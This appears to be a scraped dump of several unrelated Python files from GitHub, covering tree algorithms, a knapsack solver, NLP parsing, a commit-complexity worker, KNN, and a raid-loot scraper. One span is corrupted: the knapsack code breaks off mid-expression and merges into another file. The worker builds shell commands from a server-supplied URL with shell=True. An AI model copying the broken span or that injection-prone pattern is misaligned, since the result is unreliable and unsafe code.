for corr in [mp_dir,pp_dir]:\n print('data key : mres')\n print('data file : %s' %data_file)\n print('h5 path : %s' %(corr+'/'+params['SRC']))\n # else, actually put the data in the h5 file\n else:\n print('putting data not supported yet')\n\nif __name__ == \"__main__\":\n fmt = '%Y-%m-%d %H:%M:%S'\n\n ens,stream = c51.ens_base()\n ens_s = ens+'_'+stream\n\n area51 = importlib.import_module(ens)\n params = area51.params\n params['ens_s'] = ens_s\n\n params['machine'] = c51.machine\n params['ENS_LONG'] = c51.ens_long[ens]\n params['ENS_S'] = ens_s\n params['STREAM'] = stream\n\n print('ENSEMBLE:',ens_s)\n\n '''\n COMMAND LINE ARG PARSER\n '''\n parser = argparse.ArgumentParser(description='get data and put in h5 files')\n parser.add_argument('data_type',type=str,help='[res_phi spec formfac]')\n parser.add_argument('--cfgs',nargs='+',type=int,help='cfgs: ci [cf dc]')\n parser.add_argument('-s','--src',type=str,help='src [xXyYzZtT] None=All')\n parser.add_argument('-o',default=False,action='store_const',const=True,help='overwrite? [%(default)s]')\n parser.add_argument('--move',default=False,action='store_const',const=True,help='move bad files? [%(default)s]')\n parser.add_argument('-v',default=True,action='store_const',const=False,help='verbose? [%(default)s]')\n parser.add_argument('-d','--db_info',default=False,action='store_const',const=True,\\\n help='print DB info and not collect? [%(default)s]')\n args = parser.parse_args()\n print('Arguments passed')\n print(args)\n print('')\n\n dtype = np.float64\n # make sure the h5 data directory exists\n data_dir = c51.data_dir % params\n utils.ensure_dirExists(data_dir)\n params['data_dir'] = data_dir\n\n # if we read si, sf, ds from area51 file, user is over-riding default\n if 'si' in params and 'sf' in params and 'ds' in params:\n tmp_params = dict()\n tmp_params['si'] = params['si']\n tmp_params['sf'] = params['sf']\n tmp_params['ds'] = params['ds']\n params = sources.src_start_stop(params,ens,stream)\n params['si'] = tmp_params['si']\n params['sf'] = tmp_params['sf']\n params['ds'] = tmp_params['ds']\n else:\n params = sources.src_start_stop(params,ens,stream)\n\n # Get cfg and src list, create source extension for name\n cfgs_run,srcs = utils.parse_cfg_src_argument(args.cfgs,args.src,params)\n src_ext = \"%d-%d\" %(params['si'],params['sf'])\n params['src_ext'] = src_ext\n\n # get the valence information\n smr = 'gf'+params['FLOW_TIME']+'_w'+params['WF_S']+'_n'+params['WF_N']\n val = smr+'_M5'+params['M5']+'_L5'+params['L5']+'_a'+params['alpha5']\n val_p = val.replace('.','p')\n params['val'] = val\n params['val_p'] = val_p\n\n # for now, we are ONLY doing the light quark\n mv_l = params['MV_L']\n params['MQ'] = params['MV_L']\n\n print('MINING %s' %(message[args.data_type]))\n print('ens_stream = %s' %(ens_s))\n if len(cfgs_run) == 1:\n dc = 1\n else:\n dc = cfgs_run[1]-cfgs_run[0]\n print('cfgs_i : cfg_f : dc = %d : %d : %d' %(cfgs_run[0],cfgs_run[-1],dc))\n print('si - sf x ds = %d - %d x %d\\n' %(params['si'],params['sf'],params['ds']))\n time.sleep(2)\n\n # if db_info, we are just printing the h5 file path, h5 dir info and key\n if args.db_info:\n print('printing info for the database')\n for cfg in cfgs_run:\n no = str(cfg)\n params['CFG'] = no\n params = c51.ensemble(params)\n for src in srcs[cfg]:\n params['SRC'] = src\n put_data(params=params,d_type=args.data_type,overwrite=args.o,db_info=args.db_info)\n\n\n # else, collect data and put it in the h5 files\n else:\n print('collecting data')\n for cfg in cfgs_run:\n no = str(cfg)\n sys.stdout.write(' cfg=%4d\\r' %(cfg))\n sys.stdout.flush()\n","repo_name":"callat-qcd/nucleon_elastic_FF","sub_path":"scripts/get_data.py","file_name":"get_data.py","file_ext":"py","file_size_in_byte":5407,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"26041342764","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jan 25 09:10:17 2018\n\n@author: Amin\n\"\"\"\nfrom collections import deque\n\nclass Node:\n def __init__(self,val):\n self.val = val\n self.left = None\n self.right = None\n\ndef is_desc(root, node):\n if root == None:\n return False\n q = deque()\n q.append(root)\n while(len(q) > 0):\n n = q.popleft()\n if n == node:\n return True\n if n.left != None:\n q.append(n.left)\n if n.right != None:\n q.append(n.right)\n \ndef first_common_ances(root, n1, n2):\n if root == None:\n return None\n if is_desc(root, n1) and is_desc(root,n2):\n left = first_common_ances(root.left, n1, n2)\n right = first_common_ances(root.right, n1, n2)\n if left != None:\n return left\n if right != None:\n return right\n return root\n \nif __name__==\"__main__\":\n root = Node(5)\n root.left = Node(2)\n root.right = Node(8)\n root.left.right = Node(4)\n root.left.right.left = Node(1)\n \n assert is_desc(root, root.left.right.left)\n assert not is_desc(root.right, root.left.right.left)\n \n assert first_common_ances(root, root.left.right, root.right) == root\n assert first_common_ances(root, root.left.right.left, root.left.right) == root.left.right","repo_name":"Amin-Tajgardoon/coding_practice","sub_path":"first_common_ancestor.py","file_name":"first_common_ancestor.py","file_ext":"py","file_size_in_byte":1348,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40804525571","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Aug 11 14:24:20 2018\n\n@author: zhangyaxuan\n\nBasic Algorithms using backtrack\n经典0-1背包问题:假设山洞里共有a,b,c,d ,e这5件宝物(不是5种宝物),它们的重量分别是2,2,6,5,4,它们的价值分别是6,3,5,4,6,现在给你个承重为10的背包, 怎么装背包,可以才能带走最多的财富。\n\"\"\"\n\nbestV=0\ncurW=0\ncurV=0\nbestx=None\n\ndef backtrack_01bag(i):\n \"\"\"01背包问题(回溯法,注意全局变量)\"\"\"\n global bestV,curW,curV,x,bestx\n if i>=n:\n if bestV=w[i-1] and res[i][j]'\nprint(result)\n","repo_name":"wnstj-yang/Algorithm","sub_path":"BOJ/BOJ_1158.py","file_name":"BOJ_1158.py","file_ext":"py","file_size_in_byte":307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2193279641","text":"import argparse\r\nimport json\r\nimport os\r\nimport shutil\r\nimport pickle\r\nimport multiprocessing\r\nimport math\r\nimport pandas as pd\r\nfrom collections import Counter, defaultdict\r\nfrom itertools import chain\r\nfrom tqdm import tqdm\r\nfrom utils import *\r\n\r\n\r\ndef process_raw_file(\r\n raw_path, processed_path=None, corenlp_path=\"corenlp-4.4.0\", corenlp_port=9000, annotators=None, max_len=None\r\n):\r\n \"\"\" Process a file that contains raw texts\r\n\r\n :param raw_path: the file name to a file that contains raw texts\r\n :type raw_path: str\r\n :param processed_path: the file name to a file to store parsed results\r\n :type processed_path: str or None\r\n :param corenlp_path: the path to the Stanford CoreNLP package\r\n :type corenlp_path: str\r\n :param corenlp_port: the port number of the Stanford CoreNLP server\r\n :type corenlp_port: int\r\n :param annotators: the annotators to use\r\n :type annotators: list or None\r\n :param max_len: the maximum length of a paragraph\r\n :type max_len: int or None\r\n :return: the parsed results of the given file\r\n :rtype: List[List[Dict[str, object]]]\r\n \"\"\"\r\n\r\n if max_len is None:\r\n max_len = MAX_LEN\r\n corenlp_client, _ = get_corenlp_client(corenlp_path=corenlp_path, corenlp_port=corenlp_port, annotators=annotators)\r\n\r\n paragraphs = []\r\n sids = []\r\n with open(raw_path, \"r\", encoding=\"utf-8\", errors=\"ignore\") as f:\r\n for line in f:\r\n line = json.loads(line)\r\n paragraphs.append(line[\"text\"])\r\n sids.append(line[\"sid\"])\r\n\r\n sid = 1\r\n para_lens = []\r\n for i in range(len(paragraphs)):\r\n paragraphs[i] = parse_sentense_with_stanford(paragraphs[i], corenlp_client, annotators, max_len)\r\n para_lens.append(len(paragraphs[i]) + sid)\r\n for sent in paragraphs[i]:\r\n sent[\"sid\"] = f\"{sids[i]}|{sid}\"\r\n sid += 1\r\n\r\n if processed_path is not None:\r\n with open(processed_path, \"w\", encoding=\"utf-8\") as f:\r\n f.write(json.dumps({\"sentence_lens\": para_lens}))\r\n f.write(\"\\n\")\r\n for para in paragraphs:\r\n for sent in para:\r\n f.write(json.dumps(sent))\r\n f.write(\"\\n\")\r\n return paragraphs\r\n\r\n\r\ndef load_processed_data(processed_path):\r\n \"\"\" This method retrieves all paragraphs from a processed file\r\n\r\n :type processed_path: str or None\r\n :param processed_path: the file path of the processed file\r\n :return: a list of lists of dicts\r\n \"\"\"\r\n with open(processed_path, \"r\") as f:\r\n sent_len = json.loads(f.readline())[\"sentence_lens\"]\r\n paragraphs = list()\r\n line_no = 1\r\n para_idx = 0\r\n while para_idx < len(sent_len):\r\n paragraph = list()\r\n end_no = sent_len[para_idx]\r\n while line_no < end_no:\r\n sent = json.loads(f.readline())\r\n if \"sid\" not in sent:\r\n sent[\"sid\"] = processed_path + \"|\" + str(line_no)\r\n paragraph.append(sent)\r\n line_no += 1\r\n para_idx += 1\r\n paragraphs.append(paragraph)\r\n return paragraphs\r\n\r\n\r\ndef process_file(\r\n raw_path=None,\r\n processed_path=None,\r\n corenlp_path=\"corenlp-4.4.0\",\r\n corenlp_port=9000,\r\n):\r\n if os.path.exists(processed_path):\r\n processed_data = load_processed_data(processed_path)\r\n elif os.path.exists(raw_path):\r\n processed_data = process_raw_file(\r\n raw_path, processed_path, corenlp_path=corenlp_path, corenlp_port=corenlp_port\r\n )\r\n else:\r\n raise ValueError(\"Error: at least one of raw_path and processed_path should not be None.\")\r\n return processed_data\r\n\r\n\r\nif __name__ == \"__main__\":\r\n parser = argparse.ArgumentParser()\r\n parser.add_argument(\"--csv_file_name\", type=str, default=\"elec.csv\")\r\n parser.add_argument(\"--raw_dir_name\", type=str, default=\"raw\")\r\n parser.add_argument(\"--processed_dir_name\", type=str, default=\"parse\")\r\n parser.add_argument(\"--corenlp_path\", type=str, default=\"corenlp-4.4.0\")\r\n parser.add_argument(\"--base_corenlp_port\", type=int, default=9000)\r\n parser.add_argument(\"--n_extractors\", type=int, default=4)\r\n args = parser.parse_args()\r\n\r\n os.makedirs(args.raw_dir_name, exist_ok=True)\r\n os.makedirs(args.processed_dir_name, exist_ok=True)\r\n\r\n df = pd.read_csv(\r\n args.csv_file_name, usecols=[\"item_a_id\", \"relation\", \"item_b_id\", \"assertion\"]\r\n )\r\n data = defaultdict(list)\r\n for row in df.itertuples():\r\n if row.relation not in TEMPLATES:\r\n continue\r\n prefix = TEMPLATES[row.relation][0]\r\n if len(prefix) == 0:\r\n idx = row.assertion.index(\"because \") + 8\r\n else:\r\n assert prefix in row.assertion\r\n idx = row.assertion.index(prefix)\r\n sid = \"{}-{}-{}|{}\".format(row.item_a_id, row.relation, row.item_b_id, row.Index)\r\n data[row.relation].append({\"sid\": sid, \"text\": row.assertion[idx:]})\r\n\r\n raw_paths, processed_paths = list(), list()\r\n file_name_prefix = os.path.splitext(os.path.basename(args.csv_file_name))[0]\r\n for relation in sorted(data.keys()):\r\n raw_path = os.path.join(args.raw_dir_name, relation + \"_\" + file_name_prefix + \".jsonl\")\r\n processed_path = os.path.join(args.processed_dir_name, relation + \"_\" + file_name_prefix + \".jsonl\")\r\n with open(raw_path, \"w\") as f:\r\n for x in data[relation]:\r\n f.write(json.dumps(x))\r\n f.write(\"\\n\")\r\n raw_paths.append(raw_path)\r\n processed_paths.append(processed_path)\r\n\r\n with multiprocessing.Pool(args.n_extractors) as pool:\r\n results = list()\r\n for i in range(len(raw_paths)):\r\n extractor_idx = i % args.n_extractors\r\n corenlp_port = args.base_corenlp_port + extractor_idx\r\n results.append(\r\n pool.apply_async(\r\n process_file, args=(raw_paths[i], processed_paths[i], args.corenlp_path, corenlp_port)\r\n )\r\n )\r\n pool.close()\r\n for x in tqdm(results):\r\n x.get()\r\n","repo_name":"HKUST-KnowComp/FolkScope","sub_path":"src/pattern/generation_parser.py","file_name":"generation_parser.py","file_ext":"py","file_size_in_byte":6170,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"61"} +{"seq_id":"42612461000","text":"import requests\nimport json\nimport subprocess\n\n\ndef Worker():\n masterURL = 'http://127.0.0.1:9999/repo'\n response = requests.get(masterURL, json={'pullStatus': False})\n data = json.loads(response.text)\n repoURL = data['repo']\n bashCommand = \"cd repoData &\" \\\n \"rm -rf .git/ &\" \\\n \"git init &\" \\\n \"git remote add origin {} &\" \\\n \"git pull\".format(repoURL)\n subprocess.Popen(bashCommand, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)\n response = requests.get(masterURL, json={'pullStatus': True})\n\n finishNum = 0\n moreCommit = True\n while moreCommit:\n response = requests.get('http://127.0.0.1:9999/complexity')\n data = json.loads(response.text)\n print(data)\n print('Received: ', str(data['sha']))\n\n if data['sha'] == -2:\n print('Waiting for enough workers.')\n else:\n if data['sha'] == -1:\n print('No more commit.')\n break\n\n bashCommand = \"cd repoData &\" \\\n \"git reset --hard {}\".format(data['sha'])\n subprocess.Popen(bashCommand, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)\n\n cmdLine = 'radon cc -a -s repoData'\n result = subprocess.check_output(cmdLine).decode()\n print(result)\n\n aveComplexityPos = result.rfind('(')\n if result.find(\"ERROR\") != -1:\n response = requests.post('http://127.0.0.1:9999/complexity', \n json={'commitSha': data['sha'], 'complexity': 0})\n if result[aveComplexityPos + 1:-2] == '':\n print('No computable files.')\n response = requests.post('http://127.0.0.1:9999/complexity',\n json={'commitSha': data['sha'], 'complexity': -1})\n else:\n temp = result[result.rfind('(') + 1:-2].replace(')', '').replace('\\r', '').replace('\\n', '').replace('\"', '')\n \n if temp is None:\n response = requests.post('http://127.0.0.1:9999/complexity',\n json={'commit': data['sha'], 'complexity': 0})\n else:\n aveComplexity = float(temp)\n response = requests.post('http://127.0.0.1:9999/complexity',\n json={'commit': data['sha'], 'complexity': aveComplexity})\n\n finishNum += 1\n print('The number of commits have been calculated is: ', str(finishNum))\n\n\nif __name__ == '__main__':\n Worker()\n","repo_name":"LareinaLi/REST","sub_path":"worker.py","file_name":"worker.py","file_ext":"py","file_size_in_byte":2676,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23502281487","text":"\"\"\"Implement k-nearest neighbors.\n1) https://members.loria.fr/MOBerger/Enseignement/Master2/Exposes/beyer.pdf\ndescribes which situations KNN works or doesn't work.\n\n2) https://homes.cs.washington.edu/~pedrod/papers/cacm12.pdf\nIf a constant number of examples is distributed uniformly in a \nhigh-dimensional hypercube, beyond some dimensionality most examples are closer\nto a face of the hypercube than to their nearest neighbor. And if we \napproximate a hypersphere by inscribing it in a hypercube, in high dimensions\nalmost all the volume of the hypercube is outside the hypersphere.\n\n3) https://bib.dbvis.de/uploadedFiles/155.pdf\nThe Manhattan distance metric (L1) is the most preferable for high \ndimensional applications, followed by the Euclidean metric (L2).\n\"\"\"\n\nimport math\nfrom collections import Counter\n\ndef classify_knn(points, p, k=3):\n \"\"\"Classify a point using KNN.\n Parameters:\n points: Dictionary of training points having keys indicating classes.\n Each key have a list of training data points belong to it\n p: Test data point in the form of (x,y)\n k: Number of nearest neighbours to consider, default is 3\n \"\"\"\n distances = []\n for key in points:\n for point in points[key]:\n # Compute Manhattan distance\n distance = calculate_distance(point, p, 1)\n distances.append((distance, key))\n top_k_dist = sorted(distances)[:k]\n counts = Counter(x[1] for x in top_k_dist)\n return max(counts, key=lambda x: counts[x])\n\ndef calculate_distance(a, b, k=1/2):\n \"\"\"Calculate the distance between two points a and b.\n k = 1: Manhattan distance\n k = 2: Euclidean distance\n k < 1: fractional distance, proposed by the \"Surprising Behavior\" paper \n (https://bib.dbvis.de/uploadedFiles/155.pdf). \"Fractional norms\" exhibit \n the property of increasing the contrast between farthest and nearest \n points. This may be useful in some contexts, however there is a caveat:\n these \"fractional norms\" are not proper distance metrics because they\n violate the triangle inequality. If the triangle inequality is an important\n quality to have in your research, then fractional metrics are not going\n to be tremendously useful. (https://stats.stackexchange.com/a/99191)\n \"\"\"\n result = 0\n for i in range(len(a)):\n result += math.pow(abs(a[i] - b[i]), k)\n return math.pow(result, 1/k)\n\n\nif __name__ == \"__main__\":\n # Dictionary of training points belonging to either 0 or 1 class\n points = {0:[(1,12),(2,5),(3,6),(3,10),(3.5,8),(2,11),(2,9),(1,7)],\n 1:[(5,3),(3,2),(1.5,9),(7,2),(6,1),(3.8,1),(5.6,4),(4,2)]}\n # Number of neighbours \n k = 3\n assert classify_knn(points, (2.5, 7),k) == 0\n assert classify_knn(points, (10, 1), k) == 1\n ","repo_name":"ntrang086/python_snippets","sub_path":"ai/knn.py","file_name":"knn.py","file_ext":"py","file_size_in_byte":2787,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13108898827","text":"# import numpy as np\r\n# import pandas as pd\r\n# import matplotlib.pyplot as plt\r\n# import seaborn as sns\r\n# import plotly.offline as pyo\r\n# pyo.init_notebook_mode()\r\n# import plotly.graph_objs as go\r\n# from plotly import tools\r\n# from plotly.subplots import make_subplots\r\n# import plotly.offline as py\r\n# import plotly.express as px\r\n# from sklearn.cluster import DBSCAN\r\n# from sklearn.neighbours import NearestNeighbors\r\n# from sklearn.metrics import silhouetter_score\r\n# from sklearn.preprocessing import StandardScaler\r\n# from sklearn.decomposition import PCA\r\n#\r\n# def cluster_commands(command_stats):\r\n# df = pd.DataFrame.from_dict(command_stats)\r\n\r\n\r\n# Online Python compiler (interpreter) to run Python online.\r\n# Write Python 3 code in this online editor and run it.\r\npairs = [(\"C-50\", \"S-90\"), (\"C-50\", 0), (\"S-150\", \"C-500\"), (\"C-50\", 0)]\r\n\r\npairs2 = [(\"C-50\", 0), (\"C-50\", 0), (\"C-90\", \"S-100\")]\r\n\r\npkts = [\"C50\", \"S90\", \"C50\", \"S150\", \"C500\", \"C50\"]\r\npkts2 = [\"C50\", \"C50\", \"C90\", \"S100\"]\r\npkt_index_step = 0\r\npkt_index = 0\r\nsequences = []\r\nsequenced_pairs_index = []\r\n\r\ni = 0\r\n\r\nwhile i < len(pairs2):\r\n print(sequenced_pairs_index)\r\n p1 = pairs2[i]\r\n if i <= len(pairs2) - 2:\r\n p2 = pairs2[i + 1]\r\n if i == len(pairs2) - 1:\r\n break\r\n if i in sequenced_pairs_index:\r\n continue\r\n\r\n seq_len = 0\r\n p1_pkt = pkt_index\r\n if 0 in p1:\r\n seq_len += 1\r\n # i = 1\r\n # pkt_index += 1\r\n if 0 not in p1:\r\n seq_len += 2\r\n p2_pkt = p1_pkt + seq_len\r\n # check whether p1 is before p2\r\n if p1_pkt == p2_pkt - seq_len:\r\n # print(\"sequence pairs:\", p1, p2)\r\n sequenced_pairs_index.append(i)\r\n sequenced_pairs_index.append(i + 1)\r\n step = 2\r\n sequences.append((p1, p2))\r\n if 0 in p2:\r\n seq_len += 1\r\n if 0 not in p2:\r\n seq_len += 2\r\n else:\r\n step = 1\r\n\r\n pkt_index += seq_len\r\n i = i + step\r\n\r\n\r\n","repo_name":"amithmurthy/MSc-Thesis-A-Lightweight-IDS-for-IoT-based-Smart-Building","sub_path":"cluster_command_traffic.py","file_name":"cluster_command_traffic.py","file_ext":"py","file_size_in_byte":1965,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70385159875","text":"#! \n# Description:\n#************* \n# Python script containing various functions for plotting, integrating etc.\n#\n# Created by: Aylwin Iantchenko (07-12-2017)\n##########################################################################################################################################\n# Import packages\n##########################################################################################################################################\nimport h5py\nfrom scipy.integrate import simps\nimport numpy as np\nfrom scipy import integrate\nfrom math import sin,cos,radians\nimport matplotlib.pyplot as plt\n##########################################################################################################################################\n# Initialize constants and arrays\n##########################################################################################################################################\n# For plotting\ndefCol = ['blue','green','red','cyan','purple','yellow','black'\\\n,'grey','blue','green','red','cyan','purple','yellow','black','grey'] # color\nLineType = ['-','--','-o','--p','-^','-s','-d','--o','--p','--^','--s',\\\n'--d','-o','--p','-^','-s','-d','--o','--p','--^','--s','--d']# Line type\n\n\n##########################################################################################################################################\n# Other useful functions\n########################################################################################################################################## \ndef readH5(path,varNames,blnScalar):\n# function to read *.h5 files\n f = h5py.File(path, 'r')\n\n data = [] # initiate variable\n for var in varNames:\n if blnScalar:\n dataset = f[var]\n data.append(dataset[()])\n\n else:\n # Get the data\n data.append(list(f[var]))\n \n return tuple(data) \n\ndef plotter(x,y,Set,colSet):\n# Function to simplify plotting\n plt.figure(Set[0])\n ax=plt.gca()\n\n plt.plot(x,y,Set[1],color=colSet,lw=2,ms = 4,label=Set[2]) # plot things\n\n ax.set_xlabel(Set[3])\n ax.set_ylabel(Set[4])\n plt.legend()\n\ndef getTrigFuns(theta):\n# Function to generate sine and cosine\n# theta should be in radians\n sineVal,cosineVal = [],[] # initiate list\n \n for val in theta: sineVal.append(sin(val)) # get sine\n for val in theta: cosineVal.append(cos(val)) # get cosine\n return sineVal,cosineVal\n\ndef OnedInt(y,x):\n # performs a one dimensional integral over y(x)\n result = np.trapz(y,x = x)\n return result\n\ndef SortValsY(x,y):\n# Function to sort y and x after inceasing x\n ToSort = zip(x,y)\n ToSort = sorted(ToSort)\n x = [point[0] for point in ToSort]\n y = [point[1] for point in ToSort]\n return y\n\ndef SortVals(x,y):\n# Function to sort y and x after inceasing x\n ToSort = zip(x,y)\n ToSort = sorted(ToSort)\n x = [point[0] for point in ToSort]\n y = [point[1] for point in ToSort]\n return y,x\n","repo_name":"landreman/sfincs","sub_path":"fortran/version3/utils/ModelTest_AI/usefulFun.py","file_name":"usefulFun.py","file_ext":"py","file_size_in_byte":2833,"program_lang":"python","lang":"de","doc_type":"code","stars":17,"dataset":"github-code","pt":"61"} +{"seq_id":"31761501333","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\nimport chan\nfrom setuptools import find_packages\nfrom chan.utils.setup import setup\n\n__doc__ = open('README.md').read()\n\nEXCULDE_PACKAGES = ['chan.templates.project',\n 'chan.templates.app']\n\nsetup(name='chan',\n version=chan.__version_str__,\n description=\"a flask manage tool \",\n long_description=__doc__,\n classifiers=[\n \"Development Status :: 3 - Alpha\",\n \"Environment :: Console\",\n \"Intended Audience :: Developers\",\n \"License :: OSI Approved :: MIT License\",\n \"Programming Language :: Python\",\n \"Operating System :: OS Independent\",\n \"Programming Language :: Python :: 2.6\",\n \"Programming Language :: Python :: 2.7\",\n ],\n platforms = 'any',\n keywords='flask manage tool',\n author=chan.__author__,\n author_email=chan.__author_email__,\n url=chan.__url__,\n license=chan.__license__,\n include_package_data=True,\n packages = ['chan'],\n install_requires = ['click', 'jinja2'],\n zip_safe=False,\n entry_points = {\n 'console_scripts': [\n 'chan = chan.chan:main',\n ],\n },\n)\n","repo_name":"damonchen/chan","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1165,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12100514610","text":"import glob, os\n\ndef rename(dir, pattern, titlePattern):\n for pathAndFilename in glob.iglob(os.path.join(dir, pattern)):\n title, ext = os.path.splitext(os.path.basename(pathAndFilename))\n title = title.replace('12_', '20_')\n print(os.path.join(dir, title + ext))\n os.rename(pathAndFilename,\n os.path.join(dir, title + ext))\n\nprint(os.getcwd())\nrename(os.getcwd() + '/images/2/combinations', r'*.jpg', r'new(%s)')\n","repo_name":"viranmalaka/Local_fashion_FO","sub_path":"src/assets/rename.py","file_name":"rename.py","file_ext":"py","file_size_in_byte":461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"43038387529","text":"import subprocess\nimport multiprocessing\nimport sys\nimport time\n\ndef run_exe(instance_id, exe_path):\n while True:\n try:\n print(f\"Starting instance {instance_id}\")\n subprocess.run([exe_path])\n print(f\"Instance {instance_id} crashed. Restarting...\")\n except Exception as e:\n print(f\"Exception occurred in instance {instance_id}: {e}\")\n\nif __name__ == \"__main__\":\n num_instances = int(sys.argv[1])\n exe_path = sys.argv[2]\n \n processes = []\n for i in range(num_instances):\n process = multiprocessing.Process(target=run_exe, args=(i, exe_path))\n process.start()\n processes.append(process)\n\n try:\n for process in processes:\n process.join()\n except KeyboardInterrupt:\n for process in processes:\n process.terminate()\n","repo_name":"jan-bausch/NDVW-Minecraft-AI","sub_path":"Assets/Client/run_servers.py","file_name":"run_servers.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"31963574137","text":"# 1002. 查找常用字符\nclass Solution:\n def commonChars(self, A):\n # A: List[str]) -> List[str]:\n res = []\n for i in A[0]:\n judge = True\n for j in range(1,len(A)):\n if i not in A[j]:\n judge =False\n break\n\n if judge:\n res.append(i)\n for j in range(1,len(A)):\n index = A[j].find(i)\n A[j] = A[j][:index] + A[j][index + 1:]\n # A[j]=A[j].remove(A[j].find(i)) 'str' object has no attribute 'remove'\n\n\n return res\nA =[\"bella\",\"label\",\"roller\"]\ntest = Solution()\nprint(test.commonChars(A))\n\n\n\n\n\n\n","repo_name":"mrmenand/Py_transaction","sub_path":"LeetCode/arrary/easy/1002.查找常用字符.py","file_name":"1002.查找常用字符.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21596967811","text":"import pandas as pd \nimport os \nimport pyprind\n\npbar = pyprind.ProgBar(50000)\n\nlabels = {'pos': 1, 'neg': 0}\n\ndf = pd.DataFrame()\n\nfor s in {'test', 'train'}:\n\tfor l in ('pos', 'neg'):\n\t\tpath = './aclImdb/%s/%s' % (s, l)\n\t\tfor f in os.listdir(path):\n\t\t\twith open(os.path.join(path, f), 'r') as infile:\n\t\t\t\ttxt = infile.read()\n\t\t\tdf = df.append([[txt, labels[l]]], ignore_index = True)\n\t\t\tpbar.update()\ndf.columns = ['review', 'sentiment']","repo_name":"mevanoff24/MachineLearning","sub_path":"SentimentAnalysis.py","file_name":"SentimentAnalysis.py","file_ext":"py","file_size_in_byte":438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"43578881155","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu May 9 12:10:55 2019\n\n@author: User\n\"\"\"\n\n\n\"\"\"\nCode Challenge\n Name: \n Character Frequency\n Filename: \n frequency.py\n Problem Statement:\n This program accepts a string from User and counts the number of characters (character frequency) in the input string. \n Input: \n www.google.com\n Output:\n {'c': 1, 'e': 1, 'g': 2, 'm': 1, 'l': 1, 'o': 3, '.': 2, 'w': 3}\n\"\"\"\nstr1 = input(\"Enter a string : \")\ndic1 = {}\nfor i in str1:\n if i in dic1:\n dic1[i]=dic1[i]+1\n else:\n dic1[i]=1\nprint(dic1)","repo_name":"aayushgupta0310/forskgit","sub_path":"day3/frequency.py","file_name":"frequency.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33983505900","text":"import urllib.request\nfrom bs4 import BeautifulSoup\nimport re\n\nfrom global_settings import *\n\nCLASSIC_DB_ICON_NAME_REGEX = \"ShowIconName\\(\\\\'(.*)\\\\'\\)\"\n\n\ndef get_legacy_raid_ids():\n with urllib.request.urlopen(HYPERLINK_FUNCTION_LEGACY_PLAYER_RAIDS) as response:\n page = response.read()\n soup = BeautifulSoup(page, 'html.parser')\n character_table_list = soup.find('table', attrs={'class':'table noborder bbdesign'}).contents[3].contents[1:-1]\n\n raid_ids = []\n for item in character_table_list:\n try:\n raid_id = item.contents[0].contents[0]\n if raid_id:\n raid_ids.append(raid_id)\n except:\n continue\n return raid_ids\n\n\ndef get_recorded_loot_raid_ids():\n return set([raid_id for raid_id in raid_loot_sheet.col_values(10) if raid_id != ''][1:])\n\n\ndef get_recorded_attendance_raid_ids():\n attendance_raid_ids = []\n attendance_raid_ids.extend([raid_id.strip() for raid_id in raid_attendance_sheet.row_values(4) if raid_id != ''])\n attendance_raid_ids.extend([raid_id.strip() for raid_id in raid_attendance_sheet.row_values(6) if raid_id != ''])\n attendance_raid_ids.extend([raid_id.strip() for raid_id in raid_attendance_sheet.row_values(8) if raid_id != ''])\n attendance_raid_ids.extend([raid_id.strip() for raid_id in raid_attendance_sheet.row_values(10) if raid_id != ''])\n return set(attendance_raid_ids)\n\n\ndef get_recorded_attendance_players():\n return [player_name for player_name in raid_attendance_sheet.col_values(1)[10:] if player_name != '' ]\n\n\ndef get_item_icon(item_id):\n item_db_link = CLASSIC_DB_URL_FORMAT.format(item_id)\n with urllib.request.urlopen(item_db_link) as response:\n page = response.read()\n soup = BeautifulSoup(page, 'html.parser')\n temp = soup.find('div', attrs={'id': 'icon{}-generic'.format(item_id)}).attrs['onclick']\n item_icon = re.match(CLASSIC_DB_ICON_NAME_REGEX, temp).groups()[0]\n return item_icon\n\n\ndef get_recorded_attendance_dates():\n return [datetime.datetime.strptime(date, YMD_TIMESTAMP_FORMAT) if date != '' else '' for date in raid_attendance_sheet.row_values(2)[5:]]\n\n\ndef get_recorded_loot_dates():\n return [datetime.datetime.strptime(date, MDY_TIMESTAMP_FORMAT) if date != '' else '' for date in raid_loot_sheet.col_values(4)[1:]]\n\n\ndef is_20_man_raid(name):\n return name in [\"Ruins of Ahn'Qiraj\", \"AQ20\", 'Zul\\'Gurub','ZG' ]\n\n\ndef is_official_raid(raid_name_short, raid_id):\n return not raid_name_short in IGNORE_RAID_NAMES and raid_id not in IGNORE_RAID_IDS\n\n\ndef chunks(l, n):\n \"\"\"Yield successive n-sized chunks from l.\"\"\"\n for i in range(0, len(l), n):\n yield l[i:i + n]\n\n\ndef get_loot_history_entries(include_unofficial=False):\n loot_sheet_values = 